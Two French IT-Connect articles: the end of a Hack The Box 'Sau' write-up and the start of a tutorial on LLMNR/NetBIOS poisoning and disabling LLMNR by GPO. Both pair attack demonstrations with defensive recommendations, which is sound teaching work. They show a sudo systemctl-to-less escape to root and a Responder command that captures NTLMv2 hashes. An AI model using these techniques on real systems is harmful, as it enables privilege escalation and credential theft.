<figure class="aligncenter size-large"><img decoding="async" width="800" height="107" src="media/85ec4b0c.hackthebox-writeup-sau-sudo-privesc-1-800x107.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-1-800x107.png" alt="" class="wp-image-73422" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-1-800x107.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-1-550x74.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-1-150x20.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-1-768x103.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-1-50x7.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-1.png 902w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Nous voyons qu'une dérogation d'exécution d'une commande en tant que root nous est accordée via cette configuration sudo, et ce sans saisie du mot de passe de l'utilisateur courant (instruction <strong>NOPASSWD</strong>) : </p>



<blockquote class="wp-block-quote">
<p>Les dérogations d'exécution de commande via sudo sont une zone à risque pour la sécurité des systèmes Linux. Leur but est d'<strong>autoriser un utilisateur ou un groupe d'utilisateur à exécuter une commande en tant qu'un autre utilisateur</strong> (root, mais pas seulement). Il s'agit donc d'une autorisation d'élévation de privilèges pour une commande précise. L'objectif pour l'attaquant sera de<strong> tenter d'abuser de cette autorisation pour exécuter d'autres binaires ou commandes</strong> que celles autorisées.</p>
</blockquote>



<p>Une fois de plus, nous allons faire appel à une excellente ressource sur le sujet : <a href="https://gtfobins.github.io/" target="_blank" rel="noopener nofollow" title="">https://gtfobins.github.io/</a>. Ce site référence un grand nombre <strong>d'exploitations et d'abus de commande Linux</strong> (élévation de privilèges, téléchargement/export de fichier, etc) :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="741" height="541" src="media/a2f25a1e.hackthebox-writeup-sau-sudo-pager.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-pager.png" alt="" class="wp-image-73424" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-pager.png 741w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-pager-550x402.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-pager-150x110.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-pager-50x37.png 50w" sizes="(max-width: 741px) 100vw, 741px" /></figure></div>


<p>Il s'agit d'exploiter le <strong><em>pager</em> utilisé par défaut lors de l'exécution de la commande systemctl</strong>. Certains <em>pagers</em> nous permettent effectivement d'exécuter des commandes système.</p>



<blockquote class="wp-block-quote">
<p>Un <em>pager</em> est un programme conçu pour afficher le contenu d'un fichier texte ou la sortie d'une commande en le<strong> présentant de manière paginée</strong>, c'est-à-dire <strong>une page à la fois</strong>. Cela permet de consulter les informations en évitant, lorsqu'il y a trop de lignes en sortie, que les premières lignes ne déroulent trop vite. Les <em>pager</em>s les plus connus sont <strong>less</strong> et <strong>more</strong>.</p>
</blockquote>



<p>Une petite astuce qui peut cependant faire perdre du temps : lorsque le terminal est <em>sh</em> (cas de notre reverse shell), <strong>aucun pager ne semble utilisé</strong>. Si nous tentons d'exécuter la commande <strong>systemctl</strong> via <strong>sudo</strong>, nous verrons en effet que toute la sortie s'affiche d'une traite, ne marquant aucun temps de pause. Pour que l'exécution de commande puisse se faire, il faut passer au préalable sur un terminal <strong>bash</strong>, ce que je fais à l'aide de la commande suivante :</p>



<pre class="wp-block-code"><code>$ python3 -c "import pty; pty.spawn('/bin/bash');"<br>puma@sau:/opt/maltrail$</code></pre>



<p>C'est ce genre de petit détail qui peut poser problème lors de l'exploitation d'une vulnérabilité. C'est pourquoi il est important de <strong>connaître le fonctionnement précis des systèmes attaqués</strong>, il ne suffit pas de copier/coller un bout de code trouvé sur Internet. Savoir que la commande <strong>systemctl</strong> peut provoquer une sortie trop longue, qu'elle fait donc appel à un <em>pager</em>, que le <em>pager</em> est lié à une variable d'environnement nommée <strong>$PAGER</strong>, que cette dernière est customisable et qu'elle possède des valeurs par défaut différentes entre les shell utilisés (<strong>sh, bash, zsh</strong>), que les <em>pager</em> peuvent contenir des fonctionnalités d'exécution de commande, etc. C'est l'expérience, la curiosité et la connaissance qui permettent de résoudre ces problématiques.</p>



<p>Bref, maintenant que nous utilisons un shell bash et que ce dernier a comme <em>pager </em>par défaut <strong>less</strong>, nous pouvons tenter d'exploiter l'utilisation de ce dernier :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="574" height="187" src="media/62a10149.hackthebox-writeup-sau-sudo-privesc-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-2.png" alt="" class="wp-image-73423" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-2.png 574w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-2-550x179.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-2-150x49.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/hackthebox-writeup-sau-sudo-privesc-2-50x16.png 50w" sizes="(max-width: 574px) 100vw, 574px" /></figure></div>


<p>Après l’affichage de la première page, <strong>less marque un temps de pause</strong> et nous devons appuyer sur une touche pour passer à la page suivante, c'est là que nous pouvons <strong>saisir !sh pour exécuter un terminal sh.</strong> Ici, la vulnérabilité vient bien de <strong>less</strong>, qui est appelé par <strong>systemctl</strong>. Cependant, comme <strong>systemctl</strong> est exécuté en tant que <strong>root</strong> (grâce à <strong>sudo</strong>), <strong>less</strong> l'est également. Effectuer une exécution de commande via <strong>less</strong> nous permet donc d'<strong>obtenir les droits root et de compromettre le système cible</strong>.</p>



<h2 class="wp-block-heading">III. Résumé de l'attaque</h2>



<p>Voici une description de l'attaque réalisée en utilisant les TTP (<em>Tactics, Techniques and Procedures</em>) du <a href="https://attack.mitre.org/" target="_blank" rel="noopener nofollow" title="">framework MITRE ATT&amp;CK</a> :</p>



<figure class="wp-block-table"><table><tbody><tr><td><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color"><strong>TTP</strong> (MITRE ATT&amp;CK)</mark></td><td><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Détails</mark></strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="T1046 - Network Service Discovery">T1046 - Network Service Discovery</a></td><td>Réalisation d'un scan réseau via <strong>nmap</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1190/" target="_blank" rel="noopener nofollow" title="T1190 - Exploit Public-Facing Application">T1190 - Exploit Public-Facing Application</a></td><td>Exploitation de la <strong>CVE-2023-27163</strong>, une vulnérabilité SSRF affectant <strong>Request-Baskets v1.2.1</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1059/004/" target="_blank" rel="noopener nofollow" title="T1059.004 - Command and Scripting Interpreter: Unix Shell">T1059.004 - Command and Scripting Interpreter: Unix Shell</a></td><td>Exploitation d'une vulnérabilité sur <strong>Maltrail 0.53</strong> permettant d'obtenir un reverse shell et un accès bash en tant que l'utilisateur <strong>puma</strong></td></tr><tr><td><a href="https://attack.mitre.org/techniques/T1548/003/" target="_blank" rel="noopener nofollow" title="T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching">T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching</a></td><td>Découverte et exploitation d'une dérogation de commande <strong>sudo</strong> faisant intervenir le pager <strong>less</strong>.</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">IV. Notions abordées</h2>



<h3 class="wp-block-heading">A. Côté attaquant</h3>



<p>Un premier piège que je n'ai pas mentionné dans ce <em>writeup</em> est l'importance d'<strong>effectuer un scan complet des services potentiellement exposés sur un système ciblé</strong>. Il pouvait être facile de louper le port TCP/55555 si l'on se contentait d'utiliser les options par défaut de <strong>nmap</strong>, qui ne scanne que les 1024 ports les plus communs. En utilisant l'option <strong>-p-</strong>, on s'assure de scanner les 65535 ports TCP. Pour être plus complet et réaliste dans notre approche, un scan UDP aurait également dû être effectué.</p>



<p>Cette box nous a permis de voir que l'<strong>étude et la compréhension des PoC</strong> que l'on peut trouver sur Internet est importante. Parfois, ceux-ci sont à modifier en fonction du contexte d'exploitation et il ne suffit pas de les exécuter à l'aveugle. Dans un contexte réel, il est primordial de s'assurer que les codes d'exploitation utilisés ne vont pas causer de dégâts (interruption de service, suppression de données) avant de les utiliser.</p>



<p>Encore une fois,<strong> la détection des versions a été un élément important sur ce système</strong>. Il est à noter que l'outil <strong>searchsploit</strong> n'a pas été utile dans ce cas. Aucune base de données n'est complète et il est souvent nécessaire de les combiner pour avoir une recherche la plus exhaustive possible.</p>



<p>Enfin,<strong> étudier et comprendre en profondeur les éléments ciblés est très important</strong>. Nous avons vu que lors de l'exploitation de la commande <strong>systemctl </strong>via <strong>sudo</strong>, c'est en fait la commande <strong>less </strong>qui était vulnérable, il s'agit ici d'un cas simpliste, mais <strong>qui représente bien la précision avec laquelle il faut aborder l'aspect technique de la cybersécurité</strong>.</p>



<h3 class="wp-block-heading">B. Côté défenseur</h3>



<p>Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :</p>



<p><strong>Recommandation n°1 </strong>: &nbsp;La recommandation principale serait de mettre à jour les applications web. De manière plus formelle, nous pouvons mentionner la directive n°34 du&nbsp;<a href="https://cyber.gouv.fr/publications/guide-dhygiene-informatique" target="_blank" rel="noopener" title="">Guide d'hygiène de l'ANSSI</a>&nbsp;:&nbsp;<strong>définir une politique de mise à jour des composants du système d’information</strong>.</p>



<p><strong>Recommandation n°2</strong> : Le fait qu'une seconde application web soit présente<strong>, mais pas directement exposée sur l'extérieur</strong> montre qu'il s'agit soit d'une application dédiée à un usage interne, soit d'une application web qui n'est pas encore en production. Dans les deux cas, il est recommandé d'appliquer une séparation stricte des usages. Une application web exposée sur l'extérieur possède une surface d'attaque importante et ne doit pas partager le même système qu'une application destinée uniquement à l'interne, qui de fait va traiter des informations qui ne sont pas publiques. <strong>La compromission de la première permettra d'impacter la sécurité de la seconde</strong>. C'est pourquoi il est recommandé de positionner la seconde application web sur un autre serveur, qui ne sera exposé qu'en interne et donc sur un autre réseau que la DMZ sur laquelle est censé se trouver le serveur compromis.</p>



<p><strong>Recommandation n°3 :</strong> Également, il peut être recommandé d'<strong>améliorer le processus de mise en production des services</strong> et d'ajouter une phase d'audit avant mise en production. Cela est notamment vrai pour les applications qui sont issues d'un développement "maison" (ce qui n'est pas le cas ici), utilisant un code dont la sécurité n'a jamais été évaluée.</p>



<p><strong>Recommandation n°4 :</strong> Il peut être recommandé de <strong>supprimer la dérogation sudo en place</strong> si celle-ci ne répond pas à un besoin métier. Sinon, il est recommandé d'interdire l'appel aux <em>pagers</em>, qui présentent des risques d'élévation de privilèges (supprimer les <em>pagers </em>du système potentiellement). Plus globalement, l<strong>e guide de sécurisation des systèmes Linux de l'ANSSI</strong> propose plusieurs recommandations de durcissement en rapport avec l'utilisation de sudo : <a href="https://cyber.gouv.fr/publications/recommandations-de-securite-relatives-un-systeme-gnulinux" target="_blank" rel="noopener nofollow" title="Recommandations de sécurité relatives à un système GNU/Linux">Recommandations de sécurité relatives à un système GNU/Linux</a>. </p>



<p><em>J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur <a href="https://discord.com/invite/KMWN7TUQfm" target="_blank" rel="noopener nofollow" title="">notre Discord</a> !</em></p>



<p>Enfin <strong>si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité</strong>, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> ) : <a href="https://referral.hackthebox.com/mzw333f" target="_blank" rel="noopener nofollow" title="">Tester Hack the Box Academy</a></p><p>The post <a href="https://www.it-connect.fr/hack-the-box-resoudre-la-box-sau-outils-methodes-et-recommandations-pour-se-proteger/">Hack The Box – Résoudre la box Sau : outils, méthodes et recommandations pour se protéger</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73989
title: Active Directory : comment et pourquoi désactiver les protocoles LLMNR et NetBIOS ?
uri: Active-Directory-comment-et-pourquoi-désactiver-les-protocoles-LLMN
url: https://www.it-connect.fr/active-directory-comment-et-pourquoi-desactiver-les-llmnr-et-netbios/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons partir à la découverte du protocole LLMNR, ainsi que du protocole NetBIOS ! Utilisé en environnement Windows pour effectuer de la résolution de noms, LLMNR est un protocole vulnérable à différentes attaques qu'il est préférable de ne pas utiliser et de désactiver. </strong></p>



<p>Après une présentation du protocole LLMNR et de son fonctionnement, nous verrons quels sont les risques liés à son utilisation avant de voir comment le désactiver dans un environnement Active Directory. Nous verrons également comment désactiver le protocole NetBIOS.</p>



<ul>
<li><a href="https://www.youtube.com/watch?v=uFiFjHvIaMI" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/uFiFjHvIaMI?si=7_-3sQSmabu_oEdS" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<h2 class="wp-block-heading">II. Qu'est-ce que le protocole LLMNR ?</h2>



<p>Le protocole <strong>LLMNR</strong> pour <em><strong>L</strong>ocal <strong>L</strong>ink <strong>M</strong>ulticast <strong>N</strong>ame <strong>R</strong>esolution</em>, est un protocole utilisé en environnement Windows pour<strong> effectuer de la résolution de noms localement</strong>, c'est-à-dire via l'<strong>émission d'un paquet sur le réseau local</strong>. LLMNR est le successeur de NBT-NS (NetBIOS) et il a été introduit dans Windows Vista pour la première fois.</p>



<p>Vous allez me dire : "<em>LLMNR n'est pas utile puisque l'on utilise le DNS ?</em>". C'est vrai, mais aujourd'hui <strong>LLMNR est toujours activé par défaut sur Windows</strong> donc il est susceptible d'être utilisé. Sachez que cela se produira dans le cas où la résolution DNS échoue. Ce qui est bien plus fréquent qu'on ne le croit sur un système d'information, <strong>une simple typo dans le nom d'un serveur suffit à générer l'émission de plusieurs requêtes LLMNR sur le réseau</strong>. Aussi, les noms requêtés peuvent provenir d'erreur dans la configuration, d'ancien nom de domaine qui ne sont plus utilisés, d'un poste qui change de réseau fréquemment, etc.</p>



<p>Sachez également que dans un environnement en "workgroup", le protocole LLMNR est utilisé pour effectuer<strong> la découverte du réseau</strong>.</p>



<p>Lorsque nous tentons de résoudre un nom à partir d'une machine Windows, le système d'exploitation va effectuer la vérification dans cet ordre (<a href="https://support.microsoft.com/en-us/topic/microsoft-tcp-ip-host-name-resolution-order-dae00cc9-7e9c-c0cc-8360-477b99cb978a" target="_blank" rel="noopener nofollow" title="">comme indiqué dans la documentation Microsoft</a>) :</p>



<p><strong>1</strong> - Le nom d'hôte demandé est-il celui de la machine locale ?</p>



<p><strong>2</strong> - Le nom d'hôte demandé est-il indiqué dans le <a href="https://www.it-connect.fr/le-fichier-hosts-de-windows-cest-quoi/" target="_blank" rel="noopener" title="Le fichier hosts de Windows : c’est quoi ?">fichier hosts</a> de la machine (<em>C:\Windows\System32\drivers\etc\hosts</em>)</p>



<p><strong>3</strong> - Le nom d'hôte demandé est-il présent dans le cache DNS de la machine ? Ceci revient à consulter le cache local avec la commande PowerShell "<em>Get-DnsClientCache</em>" ou la commande "<em>ipconfig /displaydns</em>".</p>



<p><strong>4</strong> - Le nom d'hôte demandé reste introuvable, donc Windows va solliciter le serveur DNS configuré sur l'interface réseau active de la machine.</p>



<p><strong>5</strong> - En dernier recours, si aucune réponse n'est obtenue, Windows va émettre deux requêtes sur le réseau : une requête NBT-NS en broadcast et une requête LLMNR en multicast afin de tenter d'obtenir une réponse. Nous pouvons dire que LLMNR repose sur le principe du voisinage réseau.</p>



<p><strong>6 </strong>- Aucune réponse : échec de la recherche</p>



<p><strong>Vous l'aurez compris : la recherche s'arrête à partir du moment où le nom a pu être résolu par Windows.</strong> Ainsi, si le nom d'hôte demandé est identifié dans le fichier hosts, alors Windows ne sollicitera pas son cache DNS, ni même le serveur DNS configurés sur la carte réseau, et il n'utilisera pas non plus le protocole LLMNR.</p>



<blockquote class="wp-block-quote">
<p>Remarque : le protocole LLMNR fonctionne en <strong>UDP</strong> sur le port <strong>5355</strong>.</p>
</blockquote>



<h2 class="wp-block-heading">III. Qu'est-ce que le protocole NetBIOS ?</h2>



<p>Au même titre que LLMNR, le protocole <strong>NetBIOS over TCP/IP</strong>, appelé également <strong>NBT-NS</strong>, est utilisé pour effectuer de la recherche de ressources sur un réseau local. </p>



<p>Contrairement au LLMNR qui diffuse une requête multicast, le NetBIOS diffuse une requête de broadcast lorsqu'il effectue une recherche. Autre différence : NetBIOS fonctionne uniquement en IPv4, alors que LLMNR fonctionne aussi bien en IPv4 qu'en IPv6.</p>



<blockquote class="wp-block-quote">
<p><strong>Remarque </strong>: le protocole NetBIOS s'appuie sur plusieurs ports pour fonctionner (ports&nbsp;137/UDP, 138/UDP et 139/TCP).</p>
</blockquote>



<h2 class="wp-block-heading">IV. Quels sont les risques associés à LLMNR et NetBIOS ?</h2>



<h3 class="wp-block-heading">A. Poisoning et MiTM</h3>



<p><strong>Le protocole LLMNR (ainsi que le NetBIOS) est vulnérable à des attaques de type <em>poisoning </em>et <em>man-in-the-middle</em> (MiTM).</strong></p>



<p>Si une machine Windows tente de résoudre un nom d'hôte, elle va chercher à obtenir une réponse en sollicitant les services de résolutions de noms dans l'ordre évoqué précédemment dans cet article. Si ce processus arrive jusqu'à la fin, <strong>Windows va émettre un paquet LLMNR en multicast sur le réseau pour tenter d'obtenir une réponse...</strong> C'est là qu'un attaquant peut intervenir en se faisant passer par l'hôte recherché par le client Windows.</p>



<p>En effet, <strong>si un attaquant répond à une requête LLMNR, il peut envoyer une fausse information à la machine Windows</strong>. Celle-ci ne sera pas capable de déterminer si la réponse est légitime ou non, ni même à quoi correspond l'hôte de destination, car il n'y a aucune authentification. Ainsi, la machine Windows sera susceptible de <strong>tenter une authentification auprès du serveur contrôlé par l'attaquant</strong>. </p>



<p>Grâce à cela,<strong> l'attaquant peut récupérer des identifiants</strong>, que ce soit le <strong>hash Net-NTLM</strong>, des <strong>identifiants HTTP</strong>, etc... En fonction du type de service. S'il s'agit d'un hash Net-NTLM, il sera possible de le réutiliser ou de le casser à l'aide d'un outil tel que <strong>hashcat</strong> ou <strong>John The Ripper</strong>. </p>



<p>Si l'authentification Windows utilisée repose sur NTLMv2 (donc un <em>challenge-réponse</em>), les échanges récupérés seront plus difficiles à casser pour récupérer le mot de passe utilisateur. Il reste possible d'effectuer une attaque dite SMB-relay, qui consiste pour l'attaquant à jouer les intermédiaires entre le client empoisonné et le serveur légitime, afin d'usurper la session SMB d'un utilisateur sans connaitre son mot de passe.</p>



<h3 class="wp-block-heading">B. LLMNR poisoning avec Responder</h3>



<p>Si vous souhaitez mettre en pratique ce type d'attaque, <strong>vous pouvez utiliser <a href="https://github.com/lgandx/Responder" target="_blank" rel="noopener nofollow" title="">l'outil Python Responder</a></strong>. Il présente l'avantage de prendre en charge différents types de services pour "piéger" la machine Windows (SMB, HTTP, HTTPS, LDAP, etc.), aussi bien en IPv4 qu'en IPv6. Nous pouvons l'utiliser facilement puisqu'il est intégré à<strong> Kali Linux</strong>.</p>



<p>Imaginons une machine sous Windows Server (ou Windows), à partir de laquelle nous souhaitons accéder à un serveur de fichiers nommé "srv-fichier". Et une seconde machine, sous Kali Linux, avec l'outil Responder. Toutes les machines sont connectées sur le même réseau.</p>



<p>Tout d'abord, nous allons préparer la machine de l'attaquant. L'outil Responder contient de nombreuses options, mais nous allons simplement l'exécuter avec les options par défaut et le mettre en écoute sur l'interface "<em>eth0</em>" de la machine Kali Linux :</p>



<pre class="wp-block-code"><code>sudo responder -I eth0</code></pre>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="700" src="media/01ce1fe6.Attaque-LLMNR-avec-Responder.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-LLMNR-avec-Responder.png" alt="Attaque LLMNR avec Responder" class="wp-image-74040" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-LLMNR-avec-Responder.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-LLMNR-avec-Responder-550x481.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-LLMNR-avec-Responder-150x131.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-LLMNR-avec-Responder-768x672.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Attaque-LLMNR-avec-Responder-50x44.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>A partir de ce moment-là, <strong>Responder est en attente</strong>... Il est à l'écoute du trafic réseau, notamment des <strong>requêtes LLMNR et NBT-NS</strong>.</p>



<p>Depuis le serveur Windows, nous allons accéder aux serveurs "<strong>srv-fichier</strong>" via le <strong>protocole SMB </strong>donc nous allons utiliser<strong> un chemin UNC : "\\&lt;nom du serveur&gt;\"</strong>. Nous allons volontairement effectuer <strong>une erreur de saisie dans le nom</strong> (ce qui dans la vie réelle, peut arriver !) :</p>



<pre class="wp-block-code"><code>\\srv-fichier<strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">s</mark></strong>\</code></pre>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="258" src="media/f1098a7b.Tentative-de-connexion-serveur-de-fichiers-LLMNR.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Tentative-de-connexion-serveur-de-fichiers-LLMNR.png" alt="Tentative de connexion serveur de fichiers LLMNR" class="wp-image-74039" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Tentative-de-connexion-serveur-de-fichiers-LLMNR.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Tentative-de-connexion-serveur-de-fichiers-LLMNR-550x177.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Tentative-de-connexion-serveur-de-fichiers-LLMNR-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Tentative-de-connexion-serveur-de-fichiers-LLMNR-768x248.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Tentative-de-connexion-serveur-de-fichiers-LLMNR-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ainsi, le serveur DNS ne pourra pas nous rediriger vers notre serveur de fichiers, car il ne connait pas "srv-fichiers". Notre machine Windows Server va donc <strong>solliciter le réseau local </strong>pour "localiser" cet hôte... <strong>C'est là que Responder intervient !</strong></p>



<p>En temps normal, nous aurions obtenu une erreur puisque Windows ne parvient pas à localiser notre serveur... Mais là, une fenêtre "<strong>Entrer les informations d'identification réseau</strong>" s'affiche afin que l'on puisse saisir nos identifiants dans le but de nous authentifier auprès du serveur "srv-fichiers". Tant qu'à faire, nous allons indiquer le compte Administrateur du domaine Active Directory auquel appartient notre serveur...</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="546" src="media/2ff806f1.LLMNR-poisoning-Saisi-des-identifiants.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/LLMNR-poisoning-Saisi-des-identifiants.png" alt="LLMNR poisoning - Saisi des identifiants" class="wp-image-74038" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/LLMNR-poisoning-Saisi-des-identifiants.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/LLMNR-poisoning-Saisi-des-identifiants-550x375.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/LLMNR-poisoning-Saisi-des-identifiants-150x102.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/LLMNR-poisoning-Saisi-des-identifiants-768x524.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/LLMNR-poisoning-Saisi-des-identifiants-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/LLMNR-poisoning-Saisi-des-identifiants-130x90.png 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Sauf que nous ne sommes pas en train de nous authentifier auprès du serveur de fichiers, mais auprès de Responder !</strong> Il a répondu à la requête LLMNR émise par l'hôte la machine Windows Server au moment où l'on cherchait à résoudre le nom "srv-fichiers". Notre client Windows Server a été empoisonné par Responder !</p>



<p>Ainsi, Responder est parvenu à collecter le nom d'utilisateur et le hash NTLMv2 du mot de passe saisit dans la fenêtre "<strong>Entrer les informations d'identification réseau</strong>". Une information sensible que l'on peut réutiliser via la technique Pass-the-hash ou que l'on pourrait essayer de "craquer" pour obtenir le mot de passe en clair...</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="226" src="media/9f27f2f6.Capture-hash-NTLM-avec-Responder-LLMNR.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Capture-hash-NTLM-avec-Responder-LLMNR.png" alt="Capture hash NTLM avec Responder - LLMNR" class="wp-image-74037" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Capture-hash-NTLM-avec-Responder-LLMNR.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Capture-hash-NTLM-avec-Responder-LLMNR-550x155.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Capture-hash-NTLM-avec-Responder-LLMNR-150x42.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Capture-hash-NTLM-avec-Responder-LLMNR-768x217.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/Capture-hash-NTLM-avec-Responder-LLMNR-50x14.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Ceci est une démonstration très simple basée sur un accès SMB, mais elle met en évidence les faiblesses des protocoles LLMNR / NetBIOS !</strong> Une erreur de saisie, un peu de naïveté, et on laisse fuiter des identifiants...! Dans un scénario man-in-the-middle, ceci serait possible, y compris avec un nom légitime de serveur.</p>



<p>Pour finir sur cette partie, sachez qu'il est possible d'<strong>utiliser Responder en mode "passif" grâce à l'option -A</strong>. Alors, il va simplement journaliser les paquets qu'il aurait pu exploiter (LLMNR/NBT-NS) sans tenter d'empoisonnement. C'est notamment utile si vous souhaitez avoir <strong>un diagnostic rapide concernant l'utilisation de ces protocoles sur votre réseau, sans tenter d'attaque</strong>. À noter qu'une analyse Wireshark avec un filtre LLMNR fera également l'affaire pour un diagnostic.</p>



<h2 class="wp-block-heading">V. Active Directory : comment désactiver le protocole LLMNR ?</h2>



<p><strong>Dans un environnement Active Directory, les protocoles LLMNR et NetBIOS ne sont pas nécessaires pour assurer un fonctionnement normal.</strong> Ainsi, nous allons pouvoir les désactiver !</p>



<p>Toutefois, ne déployez pas massivement ce changement :<strong> effectuez des tests et déployez progressivement cette modification.</strong> Pourquoi ? Et bien, certains périphériques, notamment des imprimantes, peuvent avoir besoin du LLMNR (ou du NetBIOS) pour fonctionner.</p>



<p>Pour désactiver l'utilisation du LLMNR, vous devez créer une nouvelle stratégie de groupe afin de configurer un paramètre. </p>



<ul>
<li><a href="https://www.it-connect.fr/chapitres/comment-creer-sa-premiere-gpo/" target="_blank" rel="noopener" title="Comment créer sa première GPO ?">Comment créer une stratégie de groupe ?</a></li>
</ul>



<p>Ce fameux paramètre se situe à l'emplacement suivant :</p>



<ul>
<li><strong>Configuration ordinateur &gt; Modèles d'administration &gt; Réseau &gt; Client DNS</strong></li>
</ul>



<p>A cet endroit, vous pourrez localiser un paramètre nommé "<strong>Désactiver la résolution de noms multidiffusion</strong>" (ou "<em>Turn off multicast name resolution</em>" en anglais).</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="525" src="media/5a3414dc.GPO-Desactiver-LLMNR.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-LLMNR.png" alt="GPO - Désactiver LLMNR" class="wp-image-73998" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-LLMNR.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-LLMNR-550x361.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-LLMNR-150x98.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-LLMNR-768x504.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/GPO-Desactiver-LLMNR-50x33.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Vous devez configurer le paramètre sur "<strong>Activé</strong>" pour désactiver la résolution de noms basée sur LLMNR.</p>



